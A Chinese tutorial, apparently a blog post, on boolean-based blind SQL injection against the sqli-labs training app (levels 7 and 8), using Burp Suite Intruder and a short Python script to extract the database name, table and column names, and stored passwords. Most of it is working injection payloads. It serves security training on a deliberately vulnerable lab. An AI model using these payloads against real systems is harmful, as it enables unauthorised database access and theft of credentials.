使用burpsuite进行布尔盲注(sqli-labs第7关)

目录

一.判断注入点

二.爆库名

三.爆表名

四.爆字段

五.爆数据


一.判断注入点

?id=1'报错 ?id=1"显示正常

判断出参数id是单引号字符串(单引号破坏了原有语法结构)

然后输入id=1'--+时报错,输入id=1')--+发现依然报错,再尝试双括号输入id=1'))--+,发现页面显示正常

成功判断注入点

二.爆库名

先爆出数据库的名长度:(这里用>当然也可以)

(length(str)函数:返回字符串 str的长度)

?id=1')) and length(database())=1--+

开启拦截,发送给intruder,在"1"这里添加§

设置payloads

 开始攻击

 一个一个点开看还是麻烦,发现居然可以直接搜?!

6666,直接得出库名长度为8

接下来就可以爆库名了

substr(string, start, length) 

第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

?id=1')) and substr(database(),1,1)='a'--+

注意:攻击方式要选择集束炸弹(clusterbomb),并给"1"和"a"加上§

注意:攻击方式要选择集束炸弹(clusterbomb)

注意:攻击方式要选择集束炸弹(clusterbomb)

 有效负载集1的payloads选择0-9!!!!(根据前面已经知道了库名长度,可以把0和9删掉,不过不删也行)

有效负载集2的payloads选择a-z!!!!

 攻击之后还是直接搜,选择按payload1排序,直接出库名(security)

三.爆表名

先爆出表的数量(不是很多,没必要爆破)

?id=1')) and (select count(table_name)from information_schema.tables where table_schema=database())=4--+

?id=1')) and (select count(table_name)from information_schema.tables where table_schema=database())=4--+

爆表名(这个不爆破没办法做)

?id=1')) and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+

?id=1')) and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+

通过修改limit的参数很容易爆出4张表的名字:emails,referers,uagents,users

四.爆字段

先爆字段数:

?id=1')) and (select count(column_name) from information_schema.columns where table_name='users')=6--+

?id=1')) and (select count(column_name) from information_schema.columns where table_name='users')=6--+

再爆字段名(先爆出字段名的长度当然也可以)

?id=1')) and substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1)='i'--+

?id=1')) and substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1)='i'--+

依旧是通过调整limit的参数依次爆破,得出后三张表的名称为id,username,password

五.爆数据

?id=1')) and substr((select password from users limit 0,1),1,1)='d'--+

?id=1')) and substr((select password from users limit 0,1),1,1)='d'--+

 轻轻松松爆出数据

### sqli-labs 第8 使用 Burp Suite 进行布尔盲注 在处理 SQL 注入实验环境中的布尔盲注攻击时,Burp Suite 是一款非常有效的工具。对于 sqli-labs 的第8,目标是在页面不返回具体错误信息的情况下,通过观察页面响应来推断数据库结构和内容。 #### 准备工作 启动 Burp Suite 并配置浏览器代理指向本地监听端口,默认情况下为 `127.0.0.1:8080`。访问目标 URL 后,在 Burp 中拦截并分析 HTTP 请求包[^1]。 ```http GET /sqli/Less-8/?id=1 HTTP/1.1 Host: 127.0.0.1 ... ``` #### 构造测试语句 为了验证是否存在注入点,可以通过向参数附加条件表达式的方式来进行试探: ```sql ?id=1 AND '1'='1 -- 页面正常显示表示 true ?id=1 AND '1'='2 -- 页面异常或不同则表示 false ``` 如果上述两个请求导致不同的页面行为,则说明存在可利用的布尔盲注漏洞[^3]。 #### 自动化脚本编写 针对该场景下的自动化爆破操作,可以借助 Python 编写辅助脚本来加速整个过程。下面是一个简单的示例代码片段用于获取用户名长度: ```python import requests url = "http://127.0.0.1/sqli/Less-8/" payload_true = "?id=1 AND LENGTH((SELECT username FROM users LIMIT 1))={}--" payload_false = "?id=1 AND '1'='2" def check_length(length): response = requests.get(url + payload_true.format(length)) return True if "True Page Content" in response.text else False for i in range(1, 20): if check_length(i): print(f"Username length is {i}") break ``` 这段代码会尝试不同的数值作为用户名长度猜测直到找到正确的值为止。实际应用中还需要进一步完善逻辑以适应具体的 Web 应用特性以及提高效率[^4]。 #### 利用 Intruder 模块 除了手动编码外,也可以充分利用 Burp Suite 内置的功能模块——Intruder 来实现更高效的枚举任务。设置 Payload Positions 和相应的 Payload Types 可以快速完成诸如字符集遍历等工作[^5]。 例如,要猜解某个特定位置上的字符是否匹配给定集合内的成员,可以在 Intruder 配置界面指定合适的选项卡,并定义好对应的载荷列表。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值